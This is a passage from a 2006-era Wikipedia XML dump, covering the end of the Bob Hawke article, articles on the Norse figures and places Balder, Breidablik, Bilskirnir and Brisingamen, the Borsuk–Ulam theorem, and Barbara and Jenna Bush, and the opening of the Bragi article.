By the end of [[1982]], however, it was obvious that Fraser was planning an early election, and Labor MPs began to fear that with Hayden as leader they would lose. In February [[1983]], on the same day that Fraser called an election for [[5 March]], Hayden was persuaded to resign and Hawke became Labor leader without opposition. He went on to win the election in a landslide, becoming Prime Minister less than three years after entering Parliament.

==Prime Minister==
The inagural days of the Hawke government were distinctly different from those of the Whitlam era. Rather than immediately initiating extensive reform programmes, Hawke announced that Fraser's pre-election concealment of the budget deficit meant that many of Labor's election commitments would have to be deferred. Hawke managed to persuade the Labor caucus to divide the ministry into two tiers, with only the most important Ministers attending regular cabinet meetings. This was to avoid what Hawke viewed as the unwieldy nature of the 27-member Whitlam cabinet. The caucus under Hawke also exhibited a much more formalised system of parliamentary [[political faction|factions]], which significantly altered the dynamics of caucus operations.

Hawke used his great authority to carry out a substantial set of policy changes. Accounts from ministers indicate that while Hawke was not usually the driving force for economic reform (that impetus coming from the Treasurer [[Paul Keating]] and Industry Minister [[John Button]]), he took the role of reaching consensus and providing political guidance on what was electorally feasible and how best to sell it to the public, at which he was highly successful.

Keating and Hawke provided a study in contrasts. Hawke was a Rhodes Scholar; Keating left [[high school]] early. Hawke's enthusiasms were [[cigar]]s, [[horse racing]] and all forms of [[sport]]; Keating preferred [[classical architecture]] and collecting [[Antiques|antique]] [[Swiss]] [[cuckoo clock]]s. Hawke was consensus-driven; Keating revelled in aggressive debate. Hawke was a lapsed Protestant; Keating was a practising Catholic.  Despite their differences, the two formed an effective political partnership.  

Among other things, the Hawke Government floated the [[Australian dollar]], deregulated the financial system, overhauled the tariff system, privatised state sector industries, ended subsidisation of loss-making industries, and sold off the state-owned [[Commonwealth Bank of Australia]] - all reforms that in other Western countries would have been performed by right-wing governments. The tax system was reformed, most notably through the taxation of capital gains - a reform strongly opposed by the Liberal Party at the time, but not reversed when they returned to office.

Hawke benefitted greatly from the disarray into which the Liberal opposition fell after the resignation of Fraser. The Liberals were divided between supporters of the dour, economically and socially conservative [[John Howard]] and the urbane [[Andrew Peacock]]. The arch-conservative Premier of [[Queensland]], Sir [[Joh Bjelke-Petersen]], also helped Hawke with his &quot;Joh for Canberra&quot; campaign in [[1987]], which proved highly damaging for the conservatives . Exploiting these divisions, Hawke led the Labor Party to comfortable election victories in [[1984]] and [[1987]].

Hawke's Prime Ministership saw considerable friction between him and the grassroots of the Labor Party, who were unhappy at what they viewed as Hawke's iconoclasm and willingness to co-operate with business interests. All Labor Prime Ministers have at times engendered the hostility of the organisational wing of the party, but none more so than Hawke, who expressed his willingness to cull Labor's &quot;sacred cows&quot;. The [[Socialist Left]] faction, as well as prominent Labor figure [[Barry Jones]], offered severe criticism of a number of government decisions.

On social policy, the Hawke government saw gradual reforms. The Whitlam government's universal health insurance system (Medibank), which had been dismantled by Fraser, was restored under a new name, Medicare. A notable success for which the government's response is given considerable credit was Australia's public health campaign about [[AIDS]]. In the latter years of the Hawke government, Aboriginal affairs saw considerable attention, with an investigation of the idea of a treaty between Aborigines and the government, though this idea was overtaken by events, notably including the [[Mabo v Queensland (No 2) (1992)|Mabo]] court decision.

The Hawke government also made some notable environmental decisions. In its first months in office it stopped the construction of the [[Franklin Dam]], on the [[Franklin River]] in [[Tasmania]], responding to a groundswell of protest about the issue. In [[1990]], a looming tight election saw a tough political operator, [[Graham Richardson]], appointed Environment Minister, whose task it was to attract second-preference votes from the [[Australian Democrats]] and other environmental parties. Richardson claimed this as a major factor in the government's narrow re-election in [[1990]].

==Decline and fall==

[[Image:Latham-Hawke.jpg|thumb|300px|Bob Hawke with then Labor leader [[Mark Latham]], unveiling a plaque to commemorate the centenary of the first Australian federal Labor government, Melbourne, April 2004]]

This was to be Hawke's last triumph, however. A severe economic recession in [[1991]], caused by a credit blowout requiring the application of very high interest rates, saw the government in considerable electoral trouble. Although Keating was the main architect of the government's economic policies, he took advantage of Hawke's declining popularity to plan a leadership challenge. In [[1988]] Hawke had responded to pressure from Keating to step down by making a secret agreement (the so-called &quot;[[Kirribilli House|Kirribilli]] compact&quot;) to resign in favour of Keating some time after winning the [[1990]] elections. After Keating made a speech to the Parliamentary press gallery that Hawke considered disloyal, Hawke indicated to Keating that he would renege on the agreement. In June [[1991]] Keating responded by resigning from Cabinet.  Hawke defeated Keating's leadership challenge, but he was clearly a wounded leader.

Hawke's demise came when the new Liberal leader, [[John Hewson|Dr John Hewson]], released a proposal for sweeping economic change, including a [[goods and services tax]] and deep cuts to government spending and personal income tax, in November [[1991]]. This was despite the fact that at the time, Australia was the second lowest taxing country in the OECD; a title now lost as tax as a percentage of GDP has rapidly escalated since the commencement of the Howard Government.  Neither Hawke nor his new Treasurer, [[John Kerin]], could mount an effective response to this challenge, and a rattled Labor Party turned to Keating. At a second challenge, on [[20 December]], Keating defeated Hawke in a party-room ballot. Hawke resigned from Parliament shortly after, apparently with few regrets, although his bitterness towards Keating surfaced in his memoirs. 

After politics, Hawke entered the business world with considerable success. [[Hazel Hawke]], who for the sake of the Labor cause had put up with the open secret of his relationship with his biographer [[Blanche d'Alpuget]] while he was Prime Minister, divorced him, and shortly afterwards he married d'Alpuget. He had little to do with the Labor Party during Keating's leadership, but after the election of the [[John Howard|Howard]] Liberal government in [[1996]] he became a close supporter of Opposition Leader [[Kim Beazley]].

According to the [[Australian Financial Review]], Hawke -- who initially made a small fortune from the property market -- now focuses almost solely on facilitating business deals in China. He claimed: &quot;I have the best possible contacts.&quot; Unnamed sources told the newspaper his negotiation and consulting skills have made him &quot;seriously wealthy&quot;, possibly worth $50 million. The AFR claimed [[AMP Limited|AMP]] was set to pay him $30 million in the late 1990s to secure a stake in a Chinese insurer. The deal did not go ahead.

Hawke occupies a curious place in the mythology of the Australian labour movement. He cannot be denied the title of Australia's most successful Labor leader, and by [[2004]], when Howard won his fourth election, the Hawke years had come to seem like a vanished golden age to Labor voters. On the other hand the [[Socialist Left|left]] blamed Hawke for betraying Labor policies and traditions for the sake of easy populist success, and of laying the foundations for Howard's conservative agenda.

==Honours==

Hawke was made a Companion of the [[Order of Australia]] in 1979.

He was awarded an honorary doctorate by the [[University of South Australia]].

==Quotes==

&quot;Any boss who sacks anyone for not turning up today is a bum.&quot; - After the historic victory of the yacht [[Australia II]] in the [[America's Cup]].

==See also==

* The [[Hawke Research Institute for Sustainable Societies]] (HRISS) has been named after him at the [[University of South Australia]]

*[[First Hawke Ministry]]
*[[Second Hawke Ministry]]
*[[Third Hawke Ministry]]
*[[Fourth Hawke Ministry]]

==External links==

*[http://primeministers.naa.gov.au/meetpm.asp?pmId=23 Robert Hawke] - Australia's Prime Ministers / National Archives of Australia
*[http://www.hawkecentre.unisa.edu.au/ Bob Hawke Prime Ministerial Centre]
* [http://www.hawkecentre.unisa.edu.au/library/ Bob Hawke Prime Ministerial Library]
*[http://www.hawkecentre.unisa.edu.au/institute/ Hawke Research Institute for Sustainable Societies]
*[http://flickr.com/photos/monkeywithagun/sets/72057594067172850/ Bob Hawke consuming alcohol] - Bob Hawke at the 2003 Melbourne Cup

==Further reading==

*{{cite book | author=Blanche d'Alpuget | title=Robert J Hawke | publisher=Schwartz| year=1982 | id=ISBN 0867530014}}
*{{cite book | author=Bob Hawke | title=The Hawke Memoirs | publisher=Heinemann| year=1994 | id=ISBN 0855615028}}
*{{cite book | author=Dean Jaensch | title=The Hawke-Keating Hijack | publisher=Allen and Unwin| year=1989 | id=ISBN 0043701922}}
*{{cite book | author=Stan Anson | title=Hawke: An Emotional Life | publisher=Macphee Gribble| year=1991 | id=ISBN 0869142798, 0869141961}}
*{{cite book | author=Stephen Mills | title=The Hawke Years | publisher=Viking| year=1993 | id=ISBN 0670845639}}
*{{cite book | author=Susan Ryan and Troy Bramston | title=The Hawke government : a critical retrospective | publisher=Pluto| year=2003 | id=ISBN 1864032642}}

{{start box}}
{{succession box two to one | title1=[[Australian Labor Party|Leader of the Labor Party]] | before1=[[Bill Hayden]] | after=[[Paul Keating]] | years1=1983&amp;ndash;1991 | title2=[[Prime Minister of Australia]] | before2=[[Malcolm Fraser]] | years2=1983&amp;ndash;1991}}
{{succession box | title=[[Treasurer of Australia]] | before=[[Paul Keating]] | after=[[John Kerin]] | years=1991}}
{{end box}}

{{AustraliaPM}}

[[Category:1929 births|Hawke, Bob]]
[[Category:Living people|Hawke, Bob]]
[[Category:Australian Labor Party politicians|Hawke, Bob]]
[[Category:Australian trade unionists|Hawke, Bob]]
[[Category:Federal politicians from Victoria|Hawke, Bob]]
[[Category:Former students of University College, Oxford|Hawke, Bob]]
[[Category:Members of the Cabinet of Australia|Hawke, Bob]]
[[Category:People from South Australia]]
[[Category:Prime Ministers of Australia|Hawke, Bob]]
[[Category:Australian Rhodes scholars|Hawke, Bob]]
[[Category:World record holders|Hawke, Bob]]

[[de:Bob Hawke]]
[[pl:Bob Hawke]]
[[zh:波比·霍克]]</text>
    </revision>
  </page>
  <page>
    <title>Balder</title>
    <id>4060</id>
    <revision>
      <id>37682045</id>
      <timestamp>2006-02-01T15:07:35Z</timestamp>
      <contributor>
        <ip>131.7.52.17</ip>
      </contributor>
      <comment>/* The Prose Edda */ bypass redirect</comment>
      <text xml:space="preserve">[[Image:Manuscript_Baldr.jpg|thumb|230px|right|Balder's death is portrayed in this illustration from an [[18th century]] [[Iceland]]ic manuscript.]]
'''Balder''' ([[Old Norse language|Old Norse]] '''Baldr''', modern [[Icelandic language|Icelandic]] and [[Faroese language|Faroese]] '''Baldur''', '''Balder''' is the name in modern [[Norwegian language|Norwegian]], [[Swedish language|Swedish]] and [[Danish language|Danish]] and an [[Old Norse orthography|anglicized]] form) is, in [[Norse Mythology]], the god of innocence, beauty, joy, purity, and peace, and is [[Odin]]'s second son. His wife is called [[Nanna (Norse deity)|Nanna]] and his son [[Forseti]]. Balder had a ship, the largest ever built, named [[Hringhorni]], and a hall, called [[Breidablik]]. '''Phol''' may have been a German name for Balder, based on the second [[Merseburg Incantations|Merseburg charm]], where the same person seems to be referred to as Phol and ''Balder''.

==The Prose Edda==

In the [[Gylfaginning]] section of [[Snorri Sturluson]]'s [[Prose Edda]] Balder is described as follows.

{|
|
:''Annarr sonr Óðins er Baldr, ok er frá honum gott at segja. Hann er svá fagr álitum ok bjartr svá at lýsir af honum, ok eitt gras er svá hvítt at jafnat er til Baldrs brár. Þat er allra grasa hvítast, ok þar eptir máttu marka fegrð hans bæði á hár ok á líki. Hann er vitrastr ása ok fegrst talaðr ok líknsamastr. En sú náttúra fylgir honum at engi má haldask dómr hans. Hann býr þar sem heita Breiðablik, þat er á himni. Í þeim stað má ekki vera óhreint[.]'' - ''Text of T''
|
:The second son of Odin is Baldr, and good things are to be said of him. He is best, and all praise him; he is so fair of feature, and so bright, that light shines from him. A certain herb is so white that it is likened to Baldr's brow; of all grasses it is whitest, and by it thou mayest judge his fairness, both in hair and in body. He is the wisest of the Æsir, and the fairest-spoken and most gracious; and that quality attends him, that none may gainsay his judgments. He dwells in the place called Breidablik, which is in heaven; in that place may nothing unclean be[.] - ''Brodeur's translation''
|
|}

Apart from this gushing description Balder is known primarily for the myth surrounding his death. His death is seen as the first in the chain of events which will ultimately lead to the destruction of the gods at [[Ragnarok]]. Balder will be reborn in the new world, however, as foretold in the [[Völuspá]].

[[Image:Balder.jpg|thumb|right|The Christ-like aspects of Balder are clearly emphasized in this illustration of ''[[Baldrs draumar]]''.]]

He had a dream of his own death (or his mother had the same dreams). Since dreams were usually prophetic, this depressed him, and his mother [[Frigg]] made every object on earth [[vow]] never to hurt Balder. All but one, an insignificant weed called the [[mistletoe]], made this vow. Frigg had thought it too unimportant and nonthreatening to bother asking it to make the vow (alternatively, it seemed too young to swear). When [[Loki]], the mischief-maker, heard of this, he made a magical spear from this plant. He hurried to the place where the gods were indulging in their new pastime of hurling objects at Balder, which would bounce off without harming him. Loki gave the spear to Balder's brother, the blind god [[Höðr]], who then inadvertently killed his brother with it. For this act, Odin and [[Rind]] had a child named [[Váli (son of Odin)|Váli]], who was born solely to punish Höðr, who was slain.

Balder was ceremonially burnt upon his ship, Hringhorni, the largest of all ships. As he was carried to the ship, Odin whispered in his ear. This was to be a key riddle asked by Odin (in disguise) of the giant [[Vafthruthnir]] (and which was, of course, unanswerable) in the [[Vafthruthnismal]] (the riddle also appears in the riddles of [[Gestumblindi]] in [[Hervarar saga]]). The dwarf [[Lit (Norse)|Lit]] was kicked by [[Thor]] into the funeral fire and burnt alive. Nanna, Balder's wife, also threw herself on the funeral fire to await the end of Ragnarok when she would be reunited with her husband (alternatively, she died of grief). Balder's horse with all its trappings was also burned on the pyre. The ship was set to sea by [[Hyrrokin]], a [[giantess]], who came riding on a wolf and gave the ship such a push that fire flashed from the rollers and all the earth shook.

Upon Frigg's entreaties, delivered through the messenger [[Hermóðr|Hermod]], [[Hel (goddess)|Hel]] promised to release Balder from the underworld if all objects alive and dead would weep for him. And all did, except a [[giantess]], [[Thokk]], who refused to mourn the slain god. And thus Balder had to remain in the underworld, not to emerge until after Ragnarok, when he and his brother Höðr would be reconciled and rule the new earth together with Thor's sons.

When the gods discovered that the [[giantess]] had been [[Loki]] in disguise, they hunted him down and bound him to three rocks. Then they tied a serpent above him, the venom of which dripped onto his face. His wife [[Sigyn]] gathered the venom in a bowl, but from time to time she had to turn away to empty it, at which point the poison would drip onto Loki, who writhed in pain, thus causing earthquakes. He would free himself, however, in time to attack the gods at Ragnarok.

&lt;br style=&quot;clear:both&quot;&gt;

==The Poetic Edda==

[[Image:Loki and Hod.jpg|thumb|right|[[Loki]] tricks [[Höðr]] to shoot Balder.]]

In the [[Elder Edda]] the tragic tale of Balder is hinted at rather than told at length. Among the visions which the Norse Sibyl sees and describes in the weird prophecy known as the [[Völuspá]] is one of the fatal mistletoe. &quot;I behold,&quot; says she, &quot;Fate looming for Balder, Woden's son, the bloody victim. There stands the Mistletoe slender and delicate, blooming high above the ground. Out of this shoot, so slender to look on, there shall grow a harmful fateful shaft. Hod shall shoot it, but Frigga in Fen-hall shall weep over the woe of Wal-hall.&quot; Yet looking far into the future the Sibyl sees a brighter vision of a new heaven and a new earth, where the fields unsown shall yield their increase and all sorrows shall be healed; then Balder will come back to dwell in Odin's mansions of bliss, in a hall brighter than the sun, shingled with gold, where the righteous shall live in joy for ever more.

==Gesta Danorum==

Writing about the end of the [[12th century]], the old Danish historian [[Saxo Grammaticus]] tells the story of Balder in a form which professes to be historical. According to him, '''Balderus''' and '''Høtherus''' were rival suitors for the hand of Nanna, daughter of [[Gewar]], King of Norway. Now Balderus was a demigod and common steel could not wound his sacred body. The two rivals encountered each other in a terrific battle. Though Odin and Thor and the rest of the gods fought for Balderus, he was defeated and fled away, and Høtherus married the princess. Nevertheless Balderus took heart of grace and again met Høtherus in a stricken field. But he fared even worse than before. Høtherus dealt him a deadly wound with a [[magic sword]], which he had received from Miming, the satyr of the woods; and after lingering three days in pain Balderus died of his hurt and was buried with royal honours in a barrow.

==Beowulf==

In [[Beowulf]] Balder appears as the [[geatish]] prince [[Herebeald]], who is killed by his brother [[Hæþcyn]] ([[Höðr]]). The king [[Hreðel]] replaces [[Odin]] as the grieving father.

==Analogues==

The legendary death of Balder resembles the legendary death of the [[Iran|Persia]]n hero [[Isfendiyar]] in the epic [[Shahnama]]. Balder has also been likened to [[Jesus]], as [[C. S. Lewis]] did when he said he &quot;loved Balder before Christ.&quot;

==Culture==

Balder has inspired much art and poetry.

:I heard a voice, that cried,&lt;br /&gt;
:&quot;Balder the Beautiful&lt;br /&gt;
:Is dead, is dead!&quot;&lt;br /&gt;

:--[[Henry Wadsworth Longfellow]]

In 1997, [[Burzum]] released the ambient album ''[[Dauði Baldrs]]'' [Balder's Death]:  focused exclusively on the legend of Balder.

==Balder's brows==

In [[Scandinavian language|Scandinavian]], the ''[[Scentless Mayweed]]'' (''[[Matricaria perforata]]'') is named ''Balder's brows'' because of its whiteness.

==References==

* Brodeur, Arthur Gilchrist (transl.) (1916). ''The Prose Edda by Snorri Sturluson''. New York: The American-Scandinavian Foundation. ''Available online at http://www.northvegr.org/lore/prose/index.php''.
* Eysteinn Björnsson (ed.). ''Snorra-Edda: Formáli &amp; Gylfaginning : Textar fjögurra meginhandrita''. 2005. http://www.hi.is/~eybjorn/gg/

{{NorseMythology}}

[[Category:Norse gods]]
[[Category:Germanic deities]]
[[bg:Балдур]]
[[ca:Bàlder]]
[[cs:Baldr]]
[[da:Balder]]
[[de:Balder]]
[[el:Μπαλντρ]]
[[es:Baldur]]
[[eo:Baldr]]
[[fr:Baldr]]
[[gl:Balder]]
[[hr:Baldr]]
[[is:Baldur]]
[[it:Baldr]]
[[he:בלדר]]
[[lt:Baldras]]
[[nl:Baldr]]
[[ja:バルドル]]
[[no:Balder]]
[[nn:Balder]]
[[pl:Baldur]]
[[pt:Balder]]
[[ru:Бальдр]]
[[fi:Balder]]
[[sv:Balder]]</text>
    </revision>
  </page>
  <page>
    <title>Breidablik</title>
    <id>4061</id>
    <revision>
      <id>36148466</id>
      <timestamp>2006-01-22T00:06:05Z</timestamp>
      <contributor>
        <username>Rh</username>
        <id>121748</id>
      </contributor>
      <minor />
      <text xml:space="preserve">In [[Norse mythology]], '''Breiðablik''' (often Anglicized '''Breidablik''') is the home of [[Baldr]] in [[Asgard]] where he lives with his wife [[Nanna]]. The house itself is said to have a silver roof, upheld by golden pillars.

{{NorseMythology}}
{{norse-myth-stub}}

[[Category:Locations in Norse mythology]]

[[da:Breidablik]]
[[de:Breidablik]]
[[no:Breidablik]]
[[pt:Breidablick]]
[[sv:Breidablick]]
[[uk:Брейдаблік]]</text>
    </revision>
  </page>
  <page>
    <title>Bilskirnir</title>
    <id>4062</id>
    <revision>
      <id>34386756</id>
      <timestamp>2006-01-08T18:09:09Z</timestamp>
      <contributor>
        <username>YurikBot</username>
        <id>271058</id>
      </contributor>
      <minor />
      <comment>robot  Adding: no</comment>
      <text xml:space="preserve">'''Bilskirnir''' is the hall of the god [[Thor]] in [[Norse Mythology]]. Here he lives with his wife [[Sif]] and their children. According to [[Grímnismál]], the hall contains 540 rooms, and is built to accommodate Thor's height. It is located in [[Asgard]], as are all the dwellings of the [[gods]]. This is located in [[Thudheim]] or [[Thrudvang]] .

{{NorseMythology}}
{{norse-myth-stub}}

[[Category:Locations in Norse mythology]]

[[da:Bilskirner]]
[[de:Bilskirnir]]
[[es:Bilskirnir]]
[[no:Bilskirne]]
[[pt:Bilskirnir]]
[[sv:Bilskirne]]</text>
    </revision>
  </page>
  <page>
    <title>Brisingamen</title>
    <id>4063</id>
    <revision>
      <id>39998648</id>
      <timestamp>2006-02-17T11:21:27Z</timestamp>
      <contributor>
        <ip>193.198.213.25</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Heimdall_öfverlämnar_till_Freya_smycket_Bryfing_(1845)_av_Nils_Blommér.jpg|thumbnail|300px|Heimdall returns Brisingamen to Freya]]
'''Brisingamen''' is said to be the (principally [[amber]]) [[necklace]] of the goddess [[Freya]] from [[Norse Mythology]]. When she wore it no man or god could withstand her charms, which was obviously a matter of great concern to the other goddesses during springtime when she reputedly wore it. The necklace also gave support to any army which she favoured on the battlefield.

It was forged by four dwarves ([[Alfrik]], [[Berling]], [[Dvalin]] and [[Grer]]), and, in order to obtain it, she was obliged to spend a night with each of them in turn.  Alternatively, King [[Alberich]] gave it to her.

It was worn by [[Thor]] when he was dressed up as [[Freya]] to marry the [[giant (mythology)|giant]] [[Trym]].

''[[Húsdrápa]]'' relates that the necklace was stolen by [[Loki]]. When Freya wakes up she take her wagon, harnesses her cats and goes out to find it. [[Heimdall]] helps her search for it and eventually they find the thief, who turns out to be [[Loki]] who has transformed himself into a seal. Heimdall turns into a seal as well and starts to fight Loki. After a lengthy battle, Heimdall wins and returns Brisingamen to Freya.

The necklace is referenced in the Anglo-Saxon epic, ''[[Beowulf]]'', as ''Brosingamen'', wherein the jewel is brought back to ''the shining citadel'' (probably [[Valhalla]] which is made of shining armour) by ''Hama'' ([[Heimdall]]). In this epic, it had eventually fallen into the hands of mortals. It was given to [[Beowulf (character)|Beowulf]] by the Danish queen for killing [[Grendel]]. Beowulf in his turn gave it to his own queen, [[Hygd]], when he had returned to [[Götaland]]. It also appears in a second [[euhemerize]]d version in ''[[Sörla þáttr]]''.

----

[[Alan Garner]] wrote a children's [[fantasy]] novel called '''''[[The Weirdstone of Brisingamen]]''''' about an enchanted teardrop [[pendant]] necklace.

[[Category:Artifacts in Norse mythology]]

[[da:Brisingernes smykke]]
[[de:Brisingamen]]
[[hr:Brisingamen]]
[[it:Brísingamen]]
[[ja:ブリーシンガメン]]
[[nn:Brisingamen]]
[[ru:Брисингамен]]
[[sv:Brisingasmycket]]</text>
    </revision>
  </page>
  <page>
    <title>Borsuk–Ulam theorem</title>
    <id>4064</id>
    <revision>
      <id>27507246</id>
      <timestamp>2005-11-06T05:36:26Z</timestamp>
      <contributor>
        <username>BeteNoir</username>
        <id>442726</id>
      </contributor>
      <minor />
      <comment>Refined categorization</comment>
      <text xml:space="preserve">The '''Borsuk–Ulam theorem''' states that any [[continuous function|continuous]] [[function (mathematics)|function]] from an ''n''-[[sphere]] into [[Euclidean space|Euclidean ''n''-space]] maps some pair of [[antipodal point]]s to the same point.
(Two points on a sphere are called antipodal if they are in exactly opposite directions from the sphere's center.)

The case ''n'' = 2 is often illustrated by saying that at any moment there is always a pair of antipodal points on the [[Earth]]'s surface with equal temperatures and equal barometric pressures. This assumes that temperature and barometric pressure vary continuously.

The Borsuk–Ulam theorem was first conjectured by [[Stanislaw Ulam]]. It was proved by [[Karol Borsuk]] in 1933.

== References ==
* K. Borsuk, &quot;Drei Sätze über die ''n''-dimensionale euklidische Sphäre&quot;, ''Fund. Math.'', '''20''' (1933), 177-190.
* Ji&amp;#345;í Matou&amp;scaron;ek, ''&quot;Using the Borsuk–Ulam theorem&quot;'', Springer Verlag, Berlin, 2003. ISBN 3-540-00362-2.
* L. Lyusternik and S. Shnirel'man, &quot;Topological Methods in Variational Problems&quot;. ''Issledowatelskii Institut Matematiki i Mechaniki pri O. M. G. U.'', Moscow, 1930.

[[Category:Algebraic topology]]
[[Category:Mathematical theorems]]

[[fr:Théorème de Borsuk-Ulam]]
[[nl:Stelling van Borsuk-Ulam]]</text>
    </revision>
  </page>
  <page>
    <title>Barbara and Jenna Bush</title>
    <id>4065</id>
    <revision>
      <id>42125713</id>
      <timestamp>2006-03-04T00:07:42Z</timestamp>
      <contributor>
        <username>Ghosts&amp;empties</username>
        <id>509253</id>
      </contributor>
      <comment>/* Middle School and High School */</comment>
      <text xml:space="preserve">[[Image:Jenna and Barbara Bush.jpg|thumb|162px|Jenna (left) and Barbara Bush.]]
'''Barbara Pierce Bush'''  and '''Jenna Welch Bush''' (born [[November 25]], [[1981]], in [[Dallas, Texas]]) are the [[Twin#Fraternal twins|fraternal twin]] daughters of [[United States President|U.S. president]] [[George W. Bush]] and [[Laura Bush]]. Barbara is the elder sister. They are arguably the first First Twins, as the first twin children of a sitting President.

==Jenna Bush==
Jenna is named after her maternal grandmother and  attended the [[University of Texas at Austin]]. According to ''Reader's Digest'', Jenna &quot;has followed  in her mother's footsteps and is teaching at a [[Washington, D.C.]] public school.&quot; [http://www.rd.com/content/openContent.do?contentId=14806]

==Barbara Bush==
Barbara is named after her paternal grandmother, former First Lady [[Barbara Bush]], and attended her father's, grandfather [[George H.W. Bush]]'s, and great-grandfather [[Prescott Bush]]'s [[alma mater]], [[Yale University]]. Barbara is working with [[AIDS]] patients in [[Africa]] through a program sponsored 
by the [[Houston]]-based [[Baylor College of Medicine]]'s International Pediatrics AIDS Initiative. [http://www.washingtonpost.com/wp-dyn/articles/A50537-2004May23.html][http://www.chron.com/content/archive/ysearch.mpl?operation=getdoc&amp;database=2005%3B2004%3B&amp;databases=2005%3B2004%3B2004%3B2004%3B&amp;docid=48810&amp;docids=2526%3B48810%3B35628%3B35625%3B&amp;query=AIDS+and+'Barbara+Bush'+and+Africa+NOT+3:RSEC&amp;pos=2&amp;numhits=25&amp;start=&amp;type=&amp;user=houston&amp;sview=1&amp;hview=2&amp;dview=1][http://www.int.iol.co.za/index.php?set_id=1&amp;click_id=68&amp;art_id=qw1121318105164R131][http://www.boston.com/news/world/africa/articles/2005/07/06/bush_daughter_is_said_to_volunteer_in_s_africa/?page=full][http://www.thebody.com/kaiser/2004/may25_04/bush_intern.html] 

In 2006, Barbara joined her mother on diplomatic trips to [[Liberia]] in January 2006, attending the inaugaration of President [[Ellen Johnson Sirleaf]], and to the [[Vatican City]] to meet with [[Pope Benedict XVI]] in February 2006.

==Middle School and High School==
Upon their father's induction into the office of [[Governor of Texas]] in [[1994]], the twins attending [[St. Andrew's Episcopal School]] in [[Austin, Texas]]. In 1996, Jenna and Barbara began attended [[Stephen F. Austin High School]], graduating with the class of [[2000]].  The twins elected to attend separate universities after graduation, with Jenna remaining in Austin to attend the [[University of Texas]], and Barbara following her father's legacy at [[Yale University]].

==Graduation and campaigning==
Both daughters graduated from college in May of 2004; the events were given heavy media coverage. This more open relationship with the media grew during the summer of 2004, prior to the [[2004 U.S. Presidential election]], in which the twins made several public appearances, including giving a speech to the [[2004 Republican National Convention|Republican Convention]] on [[August 31]]. The twins, who took turns traveling to various [[swing states]] with their father, gave a seven-page interview and photo shoot in the [http://www.style.com/vogue/feature/071404/page2.html August 2004] edition of ''[[Vogue (magazine)|Vogue]]'' magazine. In the interview Jenna describes the twins' decision to accompany their father on parts of the campaign trail as their own decision. &quot;It's not like he [her father] called me up and asked me,&quot; she said. &quot;But I love my Dad and I think I'd regret it if I didn't do this.&quot; While campaigning, Jenna met her current beau, Henry Hager. The media also extensively covered the campaigning of [[John Kerry]]'s daughters [[Vanessa Kerry|Vanessa]] and [[Alexandra Kerry|Alexandra]], turning the election into, at least in part, a &quot;battle of the daughters&quot;.

==Drinking incidents==
[[Image:Bush daughers.gif|thumb|200px|Jenna and Barbara Bush with their parents George W. Bush and Laura Bush]]
Both daughters had incidents involving [[legal drinking age|underage drinking]]. On [[April 27]], [[2001]] Jenna Bush was charged with being a minor in possession of [[alcoholic beverage|alcohol]] in the East Sixth Street entertainment district of [[Austin, Texas|Austin]]. On [[May 29]], [[2001]] Jenna was charged with trying to use a third party's [[identity document|identification]] ([[Identity document forgery|fake ID]] with the name &quot;Barbara Pierce,&quot; her paternal grandmother's maiden name) to purchase alcohol at Chuy's, a popular [[Mexican food|Mexican]] [[restaurant]] within close driving distance of the [[University of Texas at Austin]] campus. At the same incident, Barbara Bush was charged with being a minor in possession of alcohol. They both pleaded [[nolo contendere|no contest]] to all charges.  

On [[July 6]], [[2001]], for the false identification charge, Jenna was ordered to pay $100, perform 36 hours of [[community service]], and attend a session where victims of alcohol-related crimes speak. For the underage drinking charge, Jenna was fined $500 and her [[driver's license]] was suspended for 30 days.
[http://archive.salon.com/politics/feature/2001/05/31/twins/print.html] [http://www.thesmokinggun.com/archive/jenna5.html]

==See also==
* [[George W. Bush presidential campaign, 2004]]
* [[Sage and Chalice]]

==External links==
*[http://www.thefirsttwins.com/ TheFirstTwins.com]

[[Category:Living people|Bush, Barbara and Jenna]]
[[Category:Bush family|Bush, Barbara and Jenna]]
[[Category:1981 births|Bush, Barbara and Jenna]]
[[Category:Fraternal twins|Bush, Barbara and Jenna]]
[[Category:George W. Bush|Bush, Barbara and Jenna]]
[[Category:Children of Presidents of the United States|Bush, Barbara and Jenna]]
[[Category:People from Texas|Bush, Barbara and Jenna]]

[[nl:Jenna Welch Bush]]
[[sk:Barbara a Jenna Bushová]]
[[sv:Barbara och Jenna Bush]]</text>
    </revision>
  </page>
  <page>
    <title>Bragi</title>
    <id>4067</id>
    <revision>
      <id>37492809</id>
      <timestamp>2006-01-31T09:08:11Z</timestamp>
      <contributor>
        <username>Pearle</username>
        <id>112114</id>
      </contributor>
      <minor />
      <comment>Changing {{cleanup}} to {{cleanup-date|January 2006}}</comment>
      <text xml:space="preserve">{{cleanup-date|January 2006}}
[[Image:Idunn and Bragi by Blommer.jpg|right|thumb|300px|Bragi is shown with a harp and accompanied by his wife [[Iðunn]] in this [[19th century]] painting by [[Nils Blommér]].]]
'''Bragi''' is the god of [[poetry]] in [[Norse mythology]].


==Origins==

'''Bragi''' is generally associated with ''bragr'', the Norse word for [[poetry]].  The name of the god may have been derived from ''bragr'', or the term ''bragr'' may have been have been formed to describe 'what Bragi does.'

A connection between the name Bragi and English ''brego'' 'chieftain' has been suggested but is generally now discounted

[[Snorri Sturluson]] writes in the ''[[Gylfaginning]]'' after describing [[Odin]], [[Thor]], and [[Baldr]]:
&lt;blockquote&gt;One is called Bragi: he is renowned for wisdom, and most of all for fluency of speech and skill with words. He knows most of skaldship, and after him skaldship is called ''bragr'', and from his name that one is called ''bragr''-man or -woman, who possesses eloquence surpassing others, of women or of men. His wife is [[Iðunn]].&lt;/blockquote&gt;

In his ''[[Skáldskaparmál]]'' Snorri writes:
&lt;blockquote&gt;How should one periphrase Bragi? By calling him ''husband of Iðunn'', ''first maker of poetry'', and ''the long-bearded god'' (after his name, a man who has a great beard is called Beard-Bragi), and ''son of Odin''.&lt;/blockquote&gt;
[[Image:Bragi by Wahlbom.jpg|thumb|200px|left|Bragi by [[Carl Wahlbom]] (1810-1858).]]
That Bragi is Odin's son is clearly mentioned only here and in some versions of a list of the sons of Odin (see '''[[Sons of Odin]]'''). But &quot;wish-son&quot; in stanza 16 of the ''[[Lokasenna]]'' could mean &quot;Odin's son&quot; and is translated by Hollander as ''Odin's kin''. Bragi's mother is never named. If Bragi's mother is [[Frigg]], then Frigg is somewhat dismissive of Bragi in the ''Lokasenna'' in stanza 27 when Frigg complains that if she had a son in [[Ægir]]'s hall as brave as [[Baldr]] then [[Loki]] would have to fight for his life. 

